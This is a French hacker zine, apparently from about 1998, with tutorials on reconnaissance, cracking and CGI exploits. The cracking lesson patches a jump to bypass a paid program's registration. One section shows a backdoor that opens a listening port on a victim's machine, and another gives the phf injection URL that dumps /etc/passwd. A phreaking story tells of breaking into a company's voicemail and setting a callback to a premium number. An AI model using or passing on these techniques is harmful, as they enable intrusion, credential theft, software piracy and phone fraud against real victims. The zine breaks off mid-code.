*-----------------------* **Malicia Production Zine** *-----------------------* NuMbEr 1 Introduction: ÄÄÄÄÄÄÄÄÄÄÄÄÄ Pour permettre une plus grande diffusion de mes cours&travaux j'ai d‚cid‚ de les sortir sous forme d'un zine. Pour tout dire j'ai essay‚ de cr‚er un zine mais ne trouvant pas beaucoup d'‚crivains comp‚tants j'ai d‚cid‚ d'en ‚crire un tout seul mais qui sera sans doute plus interessant :). Sommaire: ÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Titre de l'article: ³ Sujet: ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Comment obtenir des infos sur un site ³ Linux ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Cours de Cracking 1 ³ Cracking ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Initiation … l'asm ³ Asm ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Programmation d'une taupe basique ³ Tauping ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Cgi-Bug ³ Security ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ VMS/PBX ³ Phreaking ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´ ³ Initiation au cryptage ³ Cryptage ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÙ ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** Comment obtenir des infos sur un site??? ---------------------------------------- Obtenir des infos sur un site est quelquechose de primordial et en fait c'est la base du Hacking!!! Je vais donc ici vous expliquer qques commandes de base pour obtenir des informations sur le serveur cible... ********** **Finger** ********** #finger @www.cible.com [www.cible.com] Login Name Tty Idle Login Time Office Officephone root root 2 3d Jun 26 03:20 SaTaNiK Billou p2 1 Jun 29 16:14 Vous l'avez sans doute compris, cette commande permet de savoir qui est en ce moment en ligne sur le serveur cible. Ici on peut voir que le root … oubli‚ de quitter car aucune touche n'as ‚t‚ appuy‚ depuis 3 jours. Mais … quoi peut nous servir cette commande vous demandez vous? Et bien tout simplement … savoir quel sont les accounts les plus utilis‚s...car si vous hackez le site il vaut mieux utilis‚ un account utilis‚ assez souvent... ******** **Host** ******** #host -a www.cible.com Trying domain "www.cible.com" rcode = 0 (Success), ancount=1 cible.com 60480 IN CNAME www.cible.com www.cible.com 60480 IN HINFO VAX-11/780 VMS For authoritative answers, see: cible.com 60480 IN A mail.cible.com Cette commande utilis‚ avec l'option -a pour avoir le plus d'information possible permet de r‚cup‚rer des informations sur la cible, ici nous avons comme information que le serveur est de type VAX et qu'il tourne sous VMS... Il ne vous reste plus qu'a chercher les bons vieux exploits pour ce type de machine...on voit aussi que le serveur mail de la cible est mail.cible.com, ce qui peut toujours ˆtre utile ;). ********** **Httpds** ********** #telnet www.cible.com 80 Trying 123.123.123.123... Connected to www.cible.com. Escape character is '^]'. > GET / HTTP/1.0 HTTP/1.1 200 OK Date: Tue, 03 Feb 1998 03:02:40 GMT Server: Apache/1.2b4 Connection: close Content-Type: text/html Last-Modified: Wed, 02 Feb 1998 11:45:03 GMT ETag: "13d04-b3-11226543" Content-Lenght: 666 Accept-Ranges: bytes Cette commande peut soit ˆtre appliqu‚ sur le port 80 ou parfois 8080 si il y a un proxy. Elle nous permet de savoir que les serveur www.cible.com utilise Apache/1.2b4 et encore une fois plus qu'a chercher des exploits pour ce serveur :). ******** **Smtp** ******** #telnet www.cible.com 25 Trying 123.123.123.123... Connected to www.cible.com. Escape character is '^]'. 220-www.cible.com Sendmail 8.4.12/8.4.12 ready at Thu, 28 Jun 1998 03:57:20 +0100 220 ESMTP spoken here Ici on obtient la version du Sendmail qui est de tout ‚vidence une version avec de nombreux holes =). Voila ce sera tout mais c'est deja pas mal non :)? ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ---------------- Cours de Cracking 1 ---------------- Bonjour et bienvenue dans la premiŠre le‡on de cracking. Comme vous vous en doutez surement cette le‡on est d‚di‚ au d‚butants qui ne savent rien du cracking :). D'abord une petite explication sur ce qu'est un crack, un crack est un petit programme qui modifie un fichier executable dans le but de changer son fonctionnement, par exemple de changer la fa‡on dont il reagit quand vous cliquer sur register en inversant la condition si serial bon enregistre en si serial faux ou bon enregistre :). Bon maintenant que vous savez ce qu'est un crack voyons les outils dont vous aurez besoin pour cette le‡on. -FxEdit Ce logiciel est un ‚diteur hexad‚cimal qui permet de modifier les codes des instructions sans avoir … tout recompiler. Ils en existe beaucoup d'autres et j'utilise celui la car c'est le premier que j'ai eu :). -W32Dasm V8.9 Ce logiciel permet de d‚sassembler les programmes que vous voulez crackez, c'est … dire de transformer les chiffre illisibles du fichier executable en instructions assembleurs beaucoups plus compr‚hensible par l'homme. Bon pour apprendre y a pas trente-six solutions, il faut cracker ;). Notre premiŠre cible sera Moray V3.0, c'est un modeleur pour le moteur 3D P.O.V, qui est un freeware, et ce modeleur coute....ark 89$......c un malade ce mec, on va lui mettre un bon fatal kick dans sa protection :). D'abord on lance Moraywin et on observe...bon d'abord il nous fait attendre 6 secondes l'encul‚ de programmeur :), une fois ces 6 secondes ‚coul‚s on va dans Help->Register et on entre un nom et un serial bidon(123456 par exemple). Et la ce m‚chant programme nous dit "Registration Failed" et "Please make sure etc". Bon on retient puis on copie le fichier Moraywin.exe dans un autre r‚pertoire et on le d‚sassemble. Une fois ce d‚sassemblage finit vous allez dans search->Find Text et vous tapez allez "Please Make" et vous atterrissez normalement la: ****************************************************************************** :0051D5C0 E83CA6FEFF call 00507C01 //Appele la procedure de //Verification du Pass :0051D5C5 83C404 add esp, 00000004 :0051D5C8 85C0 test eax, eax //teste eax :0051D5CA 7544 jne 0051D610 //si pas … 1 jump :0051D5CC 8B4508 mov eax, dword ptr [ebp+08] :0051D5CF 50 push eax //BAD GUY YOU GAVE ME A BAD PASS :)) * Reference To: KERNEL32.DeleteFileA, Ord:004Eh | :0051D5D0 FF15C4005C00 Call dword ptr [005C00C4] :0051D5D6 6A00 push 00000000 :0051D5D8 6A00 push 00000000 * Possible Reference To String Resource ID=41201: "Please make etc..." :0051D5E0 68F1A00000 push 0000A0F1 ****************************************************************************** A la ligne 0051D5CA il y a un jump conditionnel, et on voit plus bas que si celui ci n'a pas lieu est bien le message d'erreur s'affiche....donc il FAUT que ce jump est lieu :). Donc un petite modification s'impose il faut changer ce saut conditionnel en jump, pour cela il suffit de changer le premier code du saut(75). Pour cela nous lan‡ons FXedit et nous recherchons la chaine hexad‚cimale: "75448B450850FF15" et nous modifions le premier code(75) en jump, c'est … dire EB. Pour finir on lance ce cher Programme on va dans Help-Register on tape un nom, puis un serial bidon et clique sur ok :) et la hoooooooo miracle le logiciel se recharge et plus d'‚cran qui vous fait attendre 6 secondes, et si vous allez dans help->about il est ‚crit Registered To:votre nom. Magique non? J'ai mis 2 minute pour cracker ce logiciel qui vaut 89$ :)). Comme quoi le prix ne fait pas le moine(mais quesque je raconte moi????). Bon pour la prochaine fois vous aurez comment utiliser Softice V3.2, un d‚buggeur. ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** -------------------- Initiation … l'asm 1 -------------------- L'asm est le language au plus bas niveau qu'y existe (aprŠs ce sont des chiffres...) et c'est celui qu'on utilise pour optimiser les programmes dans les fonctions qui utilisent beaucoup de temps machine (3D, les effets dans les d‚mos, etc) et pour les rendrent plus rapides. Evidemment le language asm n'est pas des plus simples et si vous voulez commencez … programmer commencez par le C mais surtout pas par l'asm!!! Dans cette premi‚re le‡on je vais aborder la structure de base de l'asm que sont les registres, les interruptions et la pile. Bon pour faire de l'asm c'est pas compliqu‚ il faut 2 logiciels: -Un ‚diteur de texte -Un assembleur pour transformer les instructions en chiffre :) Pour l'‚diteur de texte moi j'utilise AsmLab, un logiciel qui a une interface un peu comme celle de turbo C/C++ mais pour l'asm. Mais sinon vous pouvez utiliser edit du dos qui fait ‡a trŠs bien... Pour l'assembleur j'utilise Turbo Assembleur V5.0 de Borland qui fait ‡a trŠs bien(et donc tout les programmes qui seront dans ce tutorial seront compil‚s avec Tasm), il en existe d'autres comme Masm et ils n‚c‚ssiteront un peu de changement dans votre code...mais bon ‡a ira quand mˆmme :). Pour apprendre la meilleure solution consiste … regarder le travail des autres , et bien je vais commencer par vous mettre un petit exemples sous les yeux: ;***************************************************************************** .MODEL SMALL ;Petit model m‚moire .386 ;Utilise les fonctions jusqu'au 386 .STACK 100H ;La pile....explication plus loin .DATA ;SEGMENT de donn‚e MESSAGE DB "Coucou de l'asm$" ;Une variable qui contient une chaine ;de caract‚res .CODE ;Le code du programme debut: ;Reference du debut du programme MOV AX,@DATA ;Initialise le segment de donn‚ MOV DS,AX MOV AH,09 ;Met 9 dans le registre ah MOV DX,OFFSET MESSAGE ;Met l'addresse de message dans dx INT 21H ;Lance la fonction 9 de l'interruption 21H ;qui affiche un message MOV AX,4C00H ;Met la valeur hexadecimale 4C00 dans ax INT 21H ;Lance la fonctions 4C de l'interruption 21H ;qui arrete le programme... END debut ;informe l'asm que le programme commence … debut... ;***************************************************************************** Ca va vous avez reussi … lire tout ‡a? Bon plus qu'a le compiler :). Vous sauvez ce texte sous euh par exemple sous Test.asm et vous lancez les commandes suivantes(si vous utilisez Tasm sinon je sais pas): Tasm Test.asm Tlink Test.obj Et vous voila avec un beau executable(Test.exe) qui affiche un joli message tout plein :). Bon maintenant expliquons plus en d‚tail ce programme: .MODEL SMALL ;D‚finit un petit segment m‚moire, ne vous cassez pas la tˆte avec ‡a :)) .386 ;Le programme ne contient pas de fonctions qui font appele … plus puissant ;que 386 .STACK 100H ;D‚finit une pile qui n'est d'ailleur pas utilis‚ dans le programme :) .DATA ;Definit un segment qui contiendra toute les donn‚es mais pas ;de code executable MESSAGE DB "Coucou de l'asm$" ;Definit une chaine de caract‚re avec l'instruction DB qui en fait d‚finit ;soit un nombre d'1 byte(comme un char sous C) soit une chaine de nombre, une ;chaine de caract‚re quoi... ;Cette chaine finit par un $ car l'interruption qu'on va lancer plus loin ;arrˆte l'affichage au premier '$' trouv‚... .CODE ;d‚finit un segment qui ne contient que du code debut: ;Il faut bien que le programme commence quelque part non? MOV AX,@DATA MOV DS,AX ;Initialise le segment DS avec l'adresse du segment DATA pour que l'ordinateur ;sache ou sont les donn‚es, on passe par le registre AX car l'asm refuse ;que l'on mette directement une valeur mais il accepte que l'on mette ;la valeur d'un registre(c chiant mais c comme ‡a) MOV AH,09H ;Met la valeur 09 dans le registre ah qui est en fait la partie haute de ;AX, l'on aurait put tout aussi bien ‚crire 'mov AX,0900H', cela aurait ;aussi mit AH … 09 mais cela aurait aussi mit AL(la partie basse de AX) … 0 ;, ce qu'on ne desire pas... MOV DX,OFFSET MESSAGE ;Met l'adresse de la donn‚ MESSAGE d‚clar‚ plus haut dans DX INT 21H ;Lance l'interruption 21H qui est l'interrution du dos, cette interruption ;regarde le contenue de ah et lance la fonction correspondante, ici elle lance ;la fonction 09 qui affiche le message dont l'adresse est stock‚ dans DX MOV AX,4C00H INT 21H ;Memme chose que plus haut mais cette fois ci c'est la fonction 4C qui arrete ;le programme, l'on est oblig‚ de mettre ces 2 lignes sinon l'ordinateur ;plante ou windoz arrete le programme... END debut ;Informe tasm que le programme commence … debut, un label qui est d‚finit plus ;haut dans le programme Bon voila, apr‚s avoir d‚taill‚ soigneusement ce programme je vais parler des registres. Il existe 4 principaux registres: AX,BX,CX et DX. Chaqu'un de ces registres est 16-bits(comparable a un int en C) mais les 8 bits sup‚rieurs et inf‚rieurs peuvent ˆtre acc‚d‚s grace … AH(partie haute de ax) AL(parite basse de ax), de mˆmme avec BX avec les registres BH(partie haute) et BL(partie basse), et toujours la mˆmme chose avec CX et DX avec les registres CH, CL, DH et DL. Ces registres sont comparables … des variables en C … l'exception prŠs qu'ils sont plus rapide en temps-machine et qu'ils existent dŠs le lan‡ement de la machine. Ces registres existent aussi en version 32-bits … partir du 386, ils sont alors appel‚s EAX,EBX,ECX et EDX mais la partie haute des 32 bits ne peut ˆtre acc‚d‚e directement. Il existe aussi les registres de segment, il en existe 3 importants: CS, DS et ES. CS contient l'adresse du code executable et quand vous lancez le programme CS pointe automatiquement sur le code executable, donc n'y touchez pas... DS lui au demarrage pointe aussi sur le code executable alors qu'il doit referencer les donnees, il est alors necessaire de faire pointer ce segment sur le segment DATA par les 2 lignes suivantes au debut du code executable: ;*********** MOV AX,@DATA MOV DS,AX ;*********** ES est lui un registre supl‚mentaire qu'y peut servir … contenir un segment suppl‚mentaire, un autre segment de DATA par exemple car un segment ne peut d‚passer les 64000 octets d'ou son utilis‚. Il faut que vous sachiez aussi qu'il existent aussi 2 autres registres que sont SI et DI, il peuvent servir comme AX, BX, CX et DX … contenir des nombres mais il servent surtout … copier des zone m‚moires et … faire des comparaisons. Les interruptions sont en fait des fonctions qui peuvent ˆtre lan‡‚es par une simple commande qui est INT suivit du num‚ro de l'interruption. Les interruptions sont ce qu'il existe de plus simple … utiliser en asm. Il existe diff‚rentes interruptions: -10H pour les graphismes -14H pour le joystick -17H pour l'imprimante -21H pour les fonctions DOS Il en existe ‚videmment plus que cela.... Chaqu'une des ces interruptions contient plusieures fonctions, le num‚ro de la fonctions doit ˆtre mit dans AH avant le lancement de l'interruption. Normalement avec ce texte doit ˆtre fournit un logiciel: HELP-PC qui contient une liste d'interruption avec en plus une liste de toutes les fonctions de l'asm :). Maintenant une petite explication de ce qu'est la pile. La pile, n'est pas comme vous pouvez vous l'imaginez une pile qui fournit de l'‚n‚rgie mais bien une pile de chiffre, eh oui :). Si vous lisez ce texte vous devez surement deja avoir fait du C, alors vous devez savoir que le nombre de variable est souvent important et si vous avez bien lu les lignes plus haut qui concernaient les registres vous devez vous ˆtre rendu compte qu'il n'y en a pas beaucoup...Nous arrivons donc ici … l'utilit‚ de la pile qui permet de preserver le contenue d'un ou de plusieurs registres. Mais comme avec une pile d'assiettes vous ne pourrez pas retirez une valeur qui se trouve en bas de la pile s'en en avoir enlev‚ le dessus. Bon je ne suis peut-ˆtre pas trŠs clair mais ce programme va peut-ˆtre eclaircir vos id‚es: ;*********** MOV AX,34315 MOV DX,123 ;met dans les registres AX et DX des chiffres PUSH AX PUSH DX ;met ces 2 registres sur la pile MOV AX,946 MOV DX,555 ;Change le contenue de ces 2 registres POP DX POP AX ;AX et DX contiennent de nouveau 34315 et 123 ;*********** Si a la fin du programme nous avions mis POP AX puis POP DX alors AX contiendrait 123 et DX, 34315. ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ------------------- Creation d'un socket23 ------------------- Eh oui voila le premier guide sur la programmation des taupes :). Ce document ne s'adresse qu'aux programmeurs :)...pas aux petits lamerz car je ne distribuerai ni source ni executable :)). Je dis ‡a car on voit une incroyable quantit‚ de sale petit lamerz qui r‚clame des taupes...ils ne trouveront pas ici ce qu'ils cherchent :)). Bon sinon pour compiler une taupe vous aurez besoin d'un compilateur pour windoz 95..Borland C++ par exemple... moi j'utilise Watcom C++ 10.6. Ha autre chose vous devrez inclure et pour pouvoir utiliser les sockets :). Pour faire une taupe, il suffit, en r‚sum‚ d'ouvrir un port pour que vous puissiez entrez dans le syst‚me de l'imb‚cile qui l'a executer...Pour faire cela il y a differentes ‚tapes … suivres: 1-Initialiser le systŠme des sockets 2-Initialiser un socket 3-Ouvrir un port sur le socket 4-Mettre ce port en lecture 5-Attendre une connection sur ce port... Nous allons ‚tudier chaqu'une des ‚tapes pr‚c‚dente... Windoz(et seulement lui) … besoin d'initialiser un syst‚me de socket...cette commande ce fait via la fonction 'WSAStartup'. Cette fonction prend plusieurs paramˆtres: le premier est la version du socket d‚sir‚e et le second un bloc d'information g‚n‚ral des sockets. Le premier paramˆtre est un mot dont le byte haut est le moins important et le byte bas le plus important. Le deuxi‚me paramˆtre est une structure de type WSADATA... En cas d'erreur la fonction renvoie une valeur differente de zero. ex: int Version_requise; WSADATA data_socket; Version_requise=MAKEWORD(1,1); WSAStartup(Version_requise,&data_socket); Pour cr‚er un socket il existe une commande trŠs simple...socket :). Elle prend 3 paramˆtre, le premier est relatif au type de r‚zo utilis‚, le deuxiŠme d‚finit le type du socket et le dernier est relatif au type de protocole voulu. Le premier paramˆtre sera toujours AF_INET pour nous car c'est le seul acc‚pt‚ par windoz. Le deuxiŠme sera SOCK_STREAM pour permettre l'‚change dans les 2 sens fa‡ilement et le dernier sera toujours 0 car nous ne voulons pas sp‚cifier de protocole pr‚cis... La fonction renvoie un unsigned qui sera le num‚ro du socket ou alors INVALID_SOCKET si l'initialisation rate. ex: unsigned the_socket; the_socket=socket(AF_INET,SOCK_STREAM,0); Ouvrir un port sur un socket ce fait via la fonction bind. Cette fonction prend 3 paramˆtre, le premier est le num‚ro du socket, le deuxiŠme est un structure de type SOCKADDR_IN et la 3‚me est la taille de la structure pr‚c‚dente... La structure SOCKADDR_IN contient plusieurs paramˆtre … initialiser d'abord ->sin.family qui contient la famille du socket donc AF_INET, ensuite ->sin_addr.s_addr qui sera toujours … 0 et enfin ->sin_port qui contiendra le num‚ro du port en network byte pour avoir cela il suffit de r‚cup‚rer la valeur renvoy‚ par htons(num‚ro_du_port)... Cette fonction renvoie une valeure differente de zero en cas d'erreur. ex: SOCKADDR_IN info_socket; info_socket.sin_family=AF_INET; info_socket.sin_addr.s_addr=0; info_socket.sin_port=htons(1234); bind(the_socket,(LPSOCKADDR)&info_socket,sizeof(info_socket)); Cette commande ce fait via la fonction listen. Cette fonction trŠs simple ne prend que 2 paramˆtres...le premier est le num‚ro du socket et le second le nombre de thread(connection maximum sur le socket?). Si tout se passe bien la fonction revoie zero. ex: listen(the_socket,1); En fait la intervient un truc qui nous fa‡ilite la vie :). C'est la commande accept. Cette commande en fait accepte une connection si il y en a une et si il n'y en a pas elle met le programme en pause en attendant une...magnifique non? Bon donc cette commande prend 3 paramˆtres, le premier est le num‚ro du socket qu'on attend, le deuxi‚me un pointeur sur une strucutre SOCKADDR_IN et le troisiŠme la taille du pr‚c‚dent... Cette fonction renvoie un socket temporaire qui est en fait la connection ‚tablit...c un unsigned comme un socket normal... ex: int taille; unsigned socket_connection; SOCKADDR_in info_socket_2; taille=sizeof(SOCKADDR_IN); socket_connection=accept(the_socket,(struct SOCKADDR *)&info_socket_2,&taille); Bon comme je viens de le dire la command accept met le programme en pause tant qu'il n'y a pas de connection...donc rien de plus simple que de faire par exemple ceci: infinit_loop: socket_connection=accept(the_socket,(struct SOCKADDR *)&info_socket_2,&taille); MessageBox(NULL,"Salut mec :)","Hello",MB_OK); shutdown(the_socket,2); shutdown(socket_connection,2); goto infinit_loop; Cette simple boucle fera que le programme attend votre connection, puis quand vous vous connectez sur le port affiche une MessageBox, quand l'utilisateur clique ok cela ferme la connection, et il attend de nouveau pour la connection et ainsi de suite :). Bon vous voyez c'est pas dur de faire une taupe(quand on sait programmer bien sur :)). La fois prochaine je ferais un cours sur comment faire un interface et d'autres trucs :). Finalement j'ai d‚cid‚ d'inclure la taupe dans ce zine car elle est innofensive :). ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ///////////\\\\\\\\\\\ --Cgi??? What's the deal???-- ///////////\\\\\\\\\\\ Bon ce que je vais vous expliquer ici c les differents bugs qui se trouve dans les r‚pertoire des cgi-bins........... Cela peut sembler bˆte mais c pourtant parfois le plus difficile.... Il existe plusieurs r‚pertoire o— pouvent se trouver les scripts cgi/perl... http://www.host.com/cgi-bin/ http://www.host.com/cgi-win/ Voila les 2 principaux endroits ou ils peuvents se trouver, mais il se peut tout … fait que les scripts ne soit pas l…, dans ce cas l… il faudra rechercher sur la page un compteur(il utilise assez souvents des scripts cgi), un questionnaire, ou qqchose d'interactif.... Une fois le r‚pertoire trouv‚ il reste … trouver les scripts... -phf bug- Ce bug reprend un principe trŠs simple qui est en fait le bug qui est d‚vellop‚ pour tout les autres scripts....Ce bug est tout simplement du au fait que le scripts ne verifie pas les caractŠres que vous envoyez... Il suffit donc d'utiliser le signe ? pour passer un paramˆtre plus le signe % suivit du code hexad‚cimal de ENTER(0A)....Un exemple de l'utilisation de ce bug: http://www.host.com/cgi-bin/phf?%0a/bin/cat%20etc/passwd Cette commande … tout simplement comme but de lister le fichier password de la cible :). -nph-test-cgi- Ce script est encore assez pr‚sent et est sans doute le plus puissant de tous car il permet de lister n'importe quel r‚pertoire sur le serveur....Il peut servir par exemple … trouver des backdoors sur des serveurs XXX ou … lister le r‚pertoire cgi-bin et ainsi trouver le scripts attaquable. Pour l'utiliser il suffit de faire passer un paramˆtre avec ? et de faire suivre par *: http://www.host.com/cgi-bin/nph-test-cgi?* Liste le r‚pertoire cgi-bin :). Pas de bol, le script nph-test-cgi n'est pas pr‚sent dans le r‚pertoire, il y a encore une solution et cette solution c'est FTPSearch :). On ne le dira jamais assez ce moteur de recherche est g‚nial(pas seulement pour les hackeurs =). Vous n'avez qu'a chercher par exemple phf et il vous donnera un liste de ftp avec phf, il suffira de changer le ftp en http avec la bonne directory :). J'avais envie d'‚crire ‡a pour donner des ptits infos sur le hacking, mais ‡a ne fera pas de vous un hackeur, car un hackeur trouve par soi mˆmme... Il existe ‚videmment beaucoup plus de bugs que ceux decrit plus haut... Bon toute les informations ci-dessus on ‚t‚ principalement trouv‚ sur le site de fravia mais j'ai voulu le "traduire" en fran‡ais pour le rendre plus accessible … tous :). ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ***VMB/PBX Story*** Il ‚tait une fois, dans une ville, dans un quartier, dans une maison qqun qui s'ennuyait, il ne savait pas trop quoi faire. Alors lui vint une id‚e, il prend le bottin des telecoms, regarde et cherche un entreprise quelconque. Il commence par A et puis tombe sur une soci‚t‚ qui doit pas avoir une bonne s‚curit‚ ;). Il regarde d'abord sa montre, 2 heures du mat, c bon il dorment :)). Il compose le num‚ro et ‚coute...'Bip, bip, bienvenue … XXX, nous ne sommes malheuresement pas l…, etc'. Il tatonne un peu et puis appuye sur zero et l… il entend le message divin: "Appuyer sur 1 pour acceder … une voite vocale, 2 pour envoyer un message et 3 pour personnaliser votre boite vocale." Il appuie sur 1 et entend "Veuillez entrer votre code personnel". Il tatonne essaye 111,222,333 ha et merde le truc racroche toutes les 3 erreurs. Tˆtu notre personnage continue et finit par trouver un code: 999. Et la de nouveau, coup de bol, la messagerie ne demande pas de code!!!! Il semblerait que cettes boites vocales soit celle de l'acceuil car elle contient beaucoup de messages assez vagues sur la culture des ognions en passant par le domptages des autruches :)). Notre personnage va se coucher, il est fatigu‚...Le lendemain soir il se relance sur la messagerie et il … un coup de g‚nie, si j'essayais les 3 derniers chiffres du num‚ro de telephone, et oui ‡a marche. A l'aide de cette m‚thode notre curieux personnage r‚cup‚re tout les num‚ros de boites vocales(et donc les codes) et marque ceux qui ne fonctionnent pas... Puis il s'amuse, ‚coute les messages et ainsi de suite. Puis il tr‚buche et appuie involontairement sur le 7..."Veuillez tappez cotre code personnel"...tiens bizarre...il tape un des nombreux codes qu'il … r‚cup‚r‚ et ‚coute, "Votre boite vocale n'as pas pour le moment de num‚ro de rappel, si vous voullez en entrer un appuyez sur 1"....Youhouuuuu c le gros l“t :). Il tappe 1 et entre un num‚ro de telephone en 36 68 :)). Bon il compose le num‚ro de la boite auquel il a assign‚ le rappel. Mais non rien le rappel ne fonctionne pas, il a du ˆtre d‚sactiv‚ :(. Bon, le coeur un peu d‚‡u, notre phreaker r‚fl‚chit un peu, et puis se met … un nouveau boul“t... Il essaye toutes les boŒtes vocales qui ne marchait pas et donc les num‚ros de t‚l‚phones sp‚ciaux....Il tombe sur plusieurs standards, des fax, et tiens c bizzare, ‡a sonne pas tout … fait comme un fax...Notre phreaker, bien ‚quip‚ comme toujours, branche son modem, lance HyperTerminal, et lui ordonne d'appeler ce num‚ro, le logiciel appeur‚ obeit :). Et ouiiiiiii, c'est un modem, j'vais pouvoir t‚l‚charger plein de files et tout g‚nial!!!!!!! Connection 2400 bauds......haaaaaa ok c pas trop le fun, tiens ya un chti curseur mais pas de pr‚sentation, il tappe des commandes qui lui r‚pondent bizarement....c quoi le prob!!!!! Et oui vous l'aurez deviner, ce personnage etrange et mysterieux, c moi :). Bon effectivement j'ai pas trouv‚ quel type de reseaux c'‚tait... Peut ˆtre qqchose de propri‚taire???? Bref si vous pouvez m'ˆtre d'une aide quelconque n'h‚sitez pas: ********************************************** >help; HELP AUTO = 3F EXCL = 80 0 CDE 2 LABEL 1 2 0 TAB 2 LABEL 1 0 TAB 2 LABEL 1 >TEST; *** REF : 31 *** SYN : 0F >HELP TEST; TEST AUTO = 03 EXCL = 80 0 FC 1 FC 0 1 2 6 0 NA 2 DECIMAL 0 1 2 6 1 ADG 2 CC/L/T 1 2 6 2 P1 1 HEXADECIMAL 1 2 6 3 P2 1 HEXADECIMAL 1 2 6 4 P3 1 HEXADECIMAL 1 2 6 >S; *** REF : 31 *** SYN : 0F *** SYN : 0F ********************************************** Bon voila un log trŠs court mais si vous arrivez … l'identifier n'h‚sitez pas.....freaking@caramail.com ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** Initiation au CræpÅage !!!!!!!!!!!!!!!!!!!!!! Je ne vais pas vous proposez de casser des chtis codes non, pas cette fois, je vais commencer par vous apprendre quelques notions de cryptage plut“t simple, nous apprendrons mˆmme … faire un crypteur de fichier :). En fait il existe des milliers de m‚thode de cryptage possible mais nous allons nous interesser … la plus simple, le XOR. en fait xor est une instruction asm qui est trŠs amusante: mov ax,239 ;AX contient 239 xor ax,123 ;AX contient 148 xor ax,123 ;AX contient 239 Magique non? on dirait un cryptage et un decryptage tout en beaut‚ :). Le tout est de savoir par quoi xorer le nombre....pour cela je vous propose une exemple con‡u par mes soins...mais il n'est ‚videmment pas efficace pour proteger un fichier car beaucoup trop simple... ************************************************************************* //INCLUDES NECESSAIRES POUR TOUT LE BAZARD #include #include #include #include #include #include #include //PROGRAMME void main(int argc, char *argv[]) { unsigned long taille; //TAILLE DU FICHIER A CRYPTER unsigned long index; unsigned char *buffer; //BUFFER POUR LES DONNEES CRYPTES unsigned char crypt=33; //INDEX DU CRYPTAGE unsigned long crypting_index; //CE QUI FAIT QUE CA CHANGE A CHAQUE FOIS FILE *to_crypt; FILE *crypted; printf("Spiritic Crypter By SaTaNiK V0.1\n\n"); //SI LES 2 ARGUMENT NE SONT PAS PASSES ALORS... if(argc!=3) { printf("Usage:\n"); printf("Crypter \n"); exit(0); } //TENTE D'OUVRIR LE FICHIER A CRYPTER to_crypt=fopen(argv[1],"r+b"); if(to_crypt==NULL) { printf("Can't open source file...\n"); exit(1); } //TENTE DE CREER LE FICHIER CRYPTE crypted=fopen(argv[2],"wb"); if(crypted==NULL) { printf("Can't create crypted file...\n"); exit(1); } fseek(to_crypt,0,SEEK_END); taille=ftell(to_crypt); //RECUPERE LA TAILLE DU FICHIER ET //LA MET DANS LA VARIABLE TAILLE fseek(to_crypt,0,SEEK_SET); //REMET LE POINTEUR AU DEBUT DU FICHIER //VERIFIE 